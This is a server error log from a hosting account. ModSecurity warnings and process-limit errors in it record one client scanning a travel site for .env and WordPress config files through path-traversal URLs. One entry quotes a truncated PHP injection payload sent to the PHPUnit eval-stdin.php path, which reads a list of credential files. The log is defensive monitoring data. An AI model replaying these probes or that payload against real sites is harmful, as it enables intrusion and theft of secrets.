[Fri Jul 17 08:55:17.414455 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/public../.env"] [unique_id "almgnVCBpfuYyhJ140vSlQAAAB4"]
[Fri Jul 17 08:55:17.414540 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/files../.env"] [unique_id "almgnbEWOaI5pmYo9fnO3QAAAAA"]
[Fri Jul 17 08:55:17.414657 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.414788 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnbEWOaI5pmYo9fnO3QAAAAA"]
[Fri Jul 17 08:55:17.414871 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/public../.env"] [unique_id "almgnVCBpfuYyhJ140vSlQAAAB4"]
[Fri Jul 17 08:55:17.415013 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.415202 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnVCBpfuYyhJ140vSlQAAAB4"]
[Fri Jul 17 08:55:17.417054 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/def..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/ [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.420215 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/uploads../.env"] [unique_id "almgnSvekYYQ8uns4MwlUgAAAA0"]
[Fri Jul 17 08:55:17.420627 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/uploads../.env"] [unique_id "almgnSvekYYQ8uns4MwlUgAAAA0"]
[Fri Jul 17 08:55:17.420775 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.420940 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnSvekYYQ8uns4MwlUgAAAA0"]
[Fri Jul 17 08:55:17.421944 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/var
[Fri Jul 17 08:55:17.422089 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.424221 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.430079 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.438651 2026] [authz_core:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/var
[Fri Jul 17 08:55:17.440241 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.441925 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local"] [unique_id "almgne1pLmPpy2r_2CxfOwAAAA8"]
[Fri Jul 17 08:55:17.442516 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local"] [unique_id "almgne1pLmPpy2r_2CxfOwAAAA8"]
[Fri Jul 17 08:55:17.444015 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.444394 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgne1pLmPpy2r_2CxfOwAAAA8"]
[Fri Jul 17 08:55:17.450708 2026] [authz_core:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config-sample.php
[Fri Jul 17 08:55:17.450914 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.457753 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgnXRlmrtCoY_COpcl1QAAAAg"]
[Fri Jul 17 08:55:17.458381 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgnXRlmrtCoY_COpcl1QAAAAg"]
[Fri Jul 17 08:55:17.458621 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.458896 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnXRlmrtCoY_COpcl1QAAAAg"]
[Fri Jul 17 08:55:17.463396 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 70)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.463605 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.463834 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 70 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=40,PHPI=10,HTTP=0,SESS=0): individual paranoia level scores: 70, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.466074 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/static../.env"] [unique_id "almgnfwooI4qY7Jg93pVUQAAABM"]
[Fri Jul 17 08:55:17.466605 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/static../.env"] [unique_id "almgnfwooI4qY7Jg93pVUQAAABM"]
[Fri Jul 17 08:55:17.466876 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.467179 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnfwooI4qY7Jg93pVUQAAABM"]
[Fri Jul 17 08:55:17.467307 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.469192 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production"] [unique_id "almgnY1dLClkUfK_dfHkvgAAAAI"]
[Fri Jul 17 08:55:17.469610 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production"] [unique_id "almgnY1dLClkUfK_dfHkvgAAAAI"]
[Fri Jul 17 08:55:17.469885 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.470184 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnY1dLClkUfK_dfHkvgAAAAI"]
[Fri Jul 17 08:55:17.471383 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/img../.env"] [unique_id "almgnYbYoYGvYnmnM82CFgAAAAs"]
[Fri Jul 17 08:55:17.471737 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/img../.env"] [unique_id "almgnYbYoYGvYnmnM82CFgAAAAs"]
[Fri Jul 17 08:55:17.471919 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.472082 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYbYoYGvYnmnM82CFgAAAAs"]
[Fri Jul 17 08:55:17.473807 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkroj0IkvhSCYadmBkwAAAAQ"]
[Fri Jul 17 08:55:17.488580 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.495270 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
